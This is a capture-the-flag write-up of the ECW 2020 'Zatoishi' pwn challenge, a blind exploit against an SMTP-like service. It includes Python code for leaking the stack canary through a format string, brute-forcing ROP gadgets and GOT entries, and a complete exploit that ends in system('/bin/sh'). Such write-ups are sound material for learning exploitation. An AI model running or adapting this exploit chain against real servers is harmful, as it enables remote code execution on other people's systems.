ECW 2020 - Zatoishi (pwn)

img

ECW 2020 - Zatoishi (pwn)

The ECW 2020 challenge took place the two middle weeks of October. Most of the challenge didn’t catch my attention but the only pwn challenge which weight 400 points was pretty cool. No binary was given, only a TCP port to connect to. In the end we were less than 15 having solved it.

TLDR; It was a service which emulated the behavior of a SMTP server and was vulnerable to a format string vulnerability and few buffer overflow. I brop’ed this chall using both vulnerabilities to have my leak and rop. As stated before we didn’t have any binary so I started by interact with it through SMTP commands.

vulnerabilities

string format

I quickly find out the program was vulnerable to a string format in the HELO or EHLO SMTP command.

220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:29:05 +0000
EHLO %0$x %1$x %2$x
250 mail1.zatoichi.com Hello %0$x 37d2cdf5 20782431

buffer overflow

All the fields were vulnerable to buffer overflow however the one containing the body message (DATA) accepts null byte. The buffer is 1512 bytes long before overwriting the canary.

λ ackira ~  » python2 -c 'print "DATA\n" + "A" * 1512 + "\n.\n"' | nc challenge-ecw.fr 2020
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:13 +0000
354 Start mail input; end with <CRLF>.<CRLF>
250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery

λ 130 ackira ~  » python2 -c 'print "DATA\n" + "A" * 1513 + "\n.\n"' | nc challenge-ecw.fr 2020
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:07 +0000
354 Start mail input; end with <CRLF>.<CRLF>
250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery
*** stack smashing detected ***: /home/ctf/pwn terminated

exploitation

leaking the canary

The first step is to leak the canary thanks to the format string. As it’s x64 don’t forget to add the %l not only %x.

def leak_stack():
    p = remote("challenge-ecw.fr", 2020)
    if p.readline(timeout=0.1) == b"": exit(0)

    for i in range(0, 2500):
        payload = f"EHLO ABCDEFGH%{i}$016lx"
        p.sendline(payload)
        
        if (response := p.readline(timeout=1)) == b"": 
            continue
            
        value = response[-17:-1].decode("utf-8")
        print(i, value)

    p.close()
[...]
67 0000000000000000
68 0000000000000000
69 00007f3dee7253f5
70 00007f3deea718e0
71 b57da2327bf2c100
72 00007ffe5006da60
73 0000000000400dec
74 0a00000000000000
[...]

The offset 71 seems promising it looks like the canary with saved EBP right after followed by saved rip.

This cookie always contains a null byte this why we can’t use the others commands than DATA to exploit the buffer overflow as they stop reading the payload after the first null byte.

Moreover, the server isn’t forked, it means that we will need to link the canary to each connexion to the server.

finding the stop gadget

Now we are going to test the canary we previously found and also try to locate a stop gadget.

A stop gadget is a gadget which create a signal that allow us to verify that the payload has been successfully executed. For example this gadget could print a string or make the server hang for X seconds. If the string or the server hangs we are all good.

def bf_stop_gadget():
    for i in range(0, 25560):
        over = False

        while not over:
            print(hex(i))

            p = remote(*co_infos)
            if p.readline(timeout=0.2) == b"":
                continue
            
            p.sendline(b"EHLO %71$016lx") # as 71 is the canary offset
            if (response := p.readline(timeout=0.2)) == b"": continue
            canary_b = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
            canary = unpack(">Q", canary_b)[0] 


            payload = b"A" * 1512 
            payload += canary_b[::-1] + p64(0) + p64(0x000000000400600 + i)

            p.sendline("DATA")
            p.sendline(payload)
            p.sendline("\n.")

            p.sendline("\nQUIT")

            print(p.recvall())
            print()

            over = True

0x391
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'

0x392
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'

0x393
0x393
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'

0x394
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'

0x395
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'

0x396
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:14 +0000\n221 2.0.0 Service closing transmission channel\n'

0x397
0x397
0x397
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:15 +0000\n221 2.0.0 Service closing transmission channel\n'

At offset 0x396 we see that the server answered differently by sending the banner a second time. We gonna use 0x400996 as a stop gadget. If after sending a payload the server answer a second time the banner it means the gadget was successfully executed !

findings the others gadgets to prepare the ROP

Our ROP will be very simple, it will only make a call : system("/bin/sh") so we only need to control RDI. Also we need something too have a leak so we are also going to do puts(puts_got) too.

We only have to have this gadget pop rdi; ret;. However as we don’t have the binary we can’t easily spot this gadget. Lucky us, there is a very special gadgets that almost all binary have in common, the one in __libc_csu_init :

[...]
40126a:       5b                      pop    rbx
40126b:       5d                      pop    rbp
40126c:       41 5c                   pop    r12
40126e:       41 5d                   pop    r13
401270:       41 5e                   pop    r14
401272:       41 5f                   pop    r15
401274:       c3                      ret

This one is easy to spot as it pop 6 values on the stack. In addition to this it contains the wanted gadget as pop rdi; ret; instruction is \x5f\xc3. A gadget contained in another gadget the magic of intel ISA.

def find_gadgets():
    safe_gadget = p64(0x000000000400600 + 0x396)
    base_addr = 0x400000

    for i in range(0x0, 20000):
        over = False

        while not over:
            print(hex(i))

            p = remote(*co_infos)
            if p.readline(timeout=0.2) == b"": continue
            
            p.sendline(b"EHLO %71$016lx") # as 71 is the canary offset
            if (response := p.readline(timeout=0.2)) == b"": continue
            canary_b = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
            canary = unpack(">Q", canary_b)[0] 

            payload = b"A" * 1512 
            payload += canary_b[::-1] + p64(0) 
            payload += p64(base_addr + i) # potential gadget
            payload += p64(0) * 6 
            payload += safe_gadget
            
            p.sendline("DATA")
            p.sendline(payload)
            p.sendline("\n.")

            p.sendline("\nQUIT")

            if b"zatoichi a Random SMTP MAIL Service ready" in (response := p.readall(timeout=0.2)):
                print("found gadget", hex(base_addr + i))
                input()
            
            print(response)
            
            over = True
0x0
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x1
b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n'
0x2
found gadget 0x400f5a

Our 6 zero placed on the stack have been popped and the safe gadget called, this is a success. We found the gadget at 0x400f5a. It’s mean the pop_rdi gadget is at 0x0400f63 (9 bytes later).

finding puts

The next step is to locate puts in the PLT. The principle is quite the same, we brute force all address hoping to fall on puts and we use an known pointer as argument to inspect the answer of the server.

Our argument to puts call will be pop_rdi address : potential_puts(pop_rdi), if the server response contains \x5f (the first byte of pop_rdi instruction) it means that the puts function has been called.

def find_puts():
    safe_gadget = 0x400996
    pop_rdi = 0x000000000400f63
    base_addr = 0x400980

    for i in range(0, 20000):
        over = False

        while not over:
            print(hex(i))

            p = remote(*co_infos)
            if p.readline(timeout=0.2) == b"": continue
            
            p.sendline(b"EHLO %71$016lx") # as 71 is the canary offset
            if (response := p.readline(timeout=0.2)) == b"": continue
            canary_b = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
            canary = unpack(">Q", canary_b)[0] 

            payload = b"A" * 1512 
            payload += canary_b[::-1] + p64(0) 
            payload += p64(pop_rdi)
            payload += p64(pop_rdi) # puts argument, points on "\x5f\xc3"
            payload += p64(base_addr + i)
            payload += p64(safe_gadget)
            
            p.sendline("DATA")
            p.sendline(payload)
            p.sendline("\n.")

            p.sendline("\nQUIT")
            # p.readuntil("delivery\n")

            if b"\x5f" in (response := p.readall(timeout=0.2)):
                print("found gadget", hex(base_addr + i))
                print([response])
                input()
            
            over = True
0x0
0x1
0x2
found gadget 0x400b35
[b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n_\xc3\x90f.\x0f\x1f\x84\n']

Yeah we got our leak, the puts function is at 0x400b35.

leaking GOT

This step made me crazy. We need to find the resolved address of some functions in the libc to get the offset and finally find the libc base address as usual.

I know that the GOT is often near 0x0602000 in x86_64 so I brute forced until I found something. I didn’t automatized it I was looking to the terminal for familiar addresses .. Quite a shame I know.

def leak_got():
    safe_gadget = 0x400996
    pop_rdi = 0x000000000400f63
    base_addr = 0x602000 - 32 
    puts = 0x400b35

    fd = open("binary_got_2", "wb")

    i = 0

    while True:

        if (base_addr + i) & 0xff == 0xa:
            fd.write(b"\x00")
            i += 1
            over = True

        over = False

        while not over:
            try:
                p = remote(*co_infos)
            except:
                continue

            if p.readline(timeout=0.2) == b"": continue
            
            p.sendline(b"EHLO %71$016lx") # as 71 is the canary offset
            if (response := p.readline(timeout=0.2)) == b"": continue
            canary_b = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
            canary = unpack(">Q", canary_b)[0] 

            payload = b"A" * 1512 
            payload += canary_b[::-1] + p64(sebp) 
            payload += p64(pop_rdi)
            payload += p64(base_addr + i)
            payload += p64(puts)
            payload += p64(safe_gadget)
            
            p.sendline("DATA")
            p.sendline(payload)
            p.sendline("\n.")

            p.sendline("\nQUIT")

            if (response := p.readuntil("delivery\n", timeout=0.2)) == b"": continue
            if (response := p.recvall(timeout=0.2)) == b"": continue
            if b"stack smashing detected" in response: continue

            data_len = len(response)
            print(hex(base_addr + i), data_len, [response])
            fd.write(response[:-1] + b"\x00")

            over = True
        
        i += data_len

And after few minutes / hours I got (GOT lol aha, fuck me) this :

image-20201115191557187

It looks like some GOT entries doesn’t it ? Here the fucking fuck which made me lose so much time.

Thanks to the different leak primitive I got I could leak the binary .dynstr sections which hold the name of all the imported function.

[...]
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
fflush
strncmp
__isoc99_scanf
sttncpy
putss__stack_chk_fail
putchar
stdin
strftime
printf
strlen
memset
getchar
stdout
strcat
localtime
strcmp
__libc_start_main
__gmon_start__
[...]

But I didn’t know which one had which leaked GOT address. I did some test to see if it was ordered by import order, alphabetical order or other order but I finally reached no pattern and was not far to have a dis-order.

So I decided to dev a libc database script to find if some of these function were find in libc database with the associated offset. Then I could merge the results to find if a libc had all the matches.

func="getchar"

for i in $(cat addr) ; do
    ~/tools/pwn/libc-database/find $func $i
    done

Then I executed it for few functions I was sure they had been resolved.

sh libc.sh | tee libc_puts
sh libc.sh | tee libc_memset
sh libc.sh | tee libc_strlen
sh libc.sh | tee libc_printf
$ grep -Fxf libc_puts libc_strlen libc_memset libc_printf

libc_strlen:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64)
libc_memset:ubuntu-bionic-amd64-libc6 (libc6_2.27-3ubuntu1.2_amd64)
libc_printf:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64)
libc_printf:ubuntu-eglibc (libc6-i386_2.15-0ubuntu10_amd64)
libc_printf:ubuntu-glibc (libc6_2.32-0ubuntu3_amd64)

I did a lot of test and tested few libc as never all function matched a single and same libc. I even started to get the libc used in major docker version of ubuntu like xenial and bionic

Even if all tested functions doesn’t match I decided to give a chance to ubuntu-xenial-amd64-libc6 it was a very recent libc and it was the one from ubuntu xenial if you did from ubuntu:xenial in a docker.

For this one I got

$ ~/tools/pwn/libc-database/dump libc6_2.23-0ubuntu11.2_amd64

offset___libc_start_main_ret = 0x20840
offset_system = 0x00000000000453a0
offset_dup2 = 0x00000000000f7a30
offset_read = 0x00000000000f7310
offset_write = 0x00000000000f7370
offset_str_bin_sh = 0x18ce17

chaining everything together

to resume

We first leak the canary to make the buffer overflow exploitable. Then we send the address of put_char in GOT to have its resolved address in the libc, we then subtract the known offset from the libc database to have the base of the libc.

In order to have the system address in the libc we just add the offset. We can now prepare system("/bin/sh") with the pop_rdi gadget.

safe_gadget = 0x400996
pop_rdi     = 0x000000000400f63

got_base    = 0x602000 
got_putchar = got_base + (8 * 3) # it was the 3rd entry

putchar_offset = 0x00000000000712a0
system_offset  = 0x00000000000453a0
sh_offset      = 0x18ce17

p = remote(*co_infos)
if p.readline(timeout=0.2) == b"": exit(-1)

p.sendline(b"EHLO %71$016lx") # as 71 is the canary offset
if (response := p.readline(timeout=0.2)) == b"": exit(-1)
canary_b = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8"))
canary = unpack(">Q", canary_b)[0] 

print(f"[CANARY] {hex(canary)}")

# leak got addr 
p.sendline(b"EHLO AAAAAAAA %11$s          " + p64(got_putchar))

response = p.readline(timeout=0.5)
data = response[38:].replace(b"          ", b"").replace(p64(got_putchar).rstrip(b"\x00"), b"")
got_putchar_data = unpack("<Q", data[:-1] + b"\x00\x00")[0]

libc_base_addr = got_putchar_data - putchar_offset
print(f"[LIBC] {hex(canary)}")

system_addr = libc_base_addr + system_offset
sh_addr = libc_base_addr + sh_offset
print(f"[SYSTEM] {hex(system_addr)}")

payload = b"A" * 1512 
payload += canary_b[::-1] + p64(0) 
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)
payload += p64(safe_gadget)

p.sendline("DATA")
p.sendline(payload)
p.sendline("\n.")
p.sendline("\nQUIT")

p.interactive()

flag :ECW{a6ec2293e18b75bd868919c699b8846a6819f811}

final word

I spent a lot of time for this challenge as my first idea was to place a shellcode in the buffer holding the format string, method I already used in another chall but I did not know about mitigations and NX have a lot of chance to be enabled.

I also tried to dump the binary thanks to the format string and later with the puts leak. The first attempts was total mess up as 75% of the binary was missing lol. The second was far better but didn’t really help me to solve it.

A team mate used the format string to leak the whole libc and then retrieve the system function inside. Then he could rewrite a GOT address with the system address. I assumed that GOT had a lot of chance to be read only so I didn’t wanted to overwrite it.

resources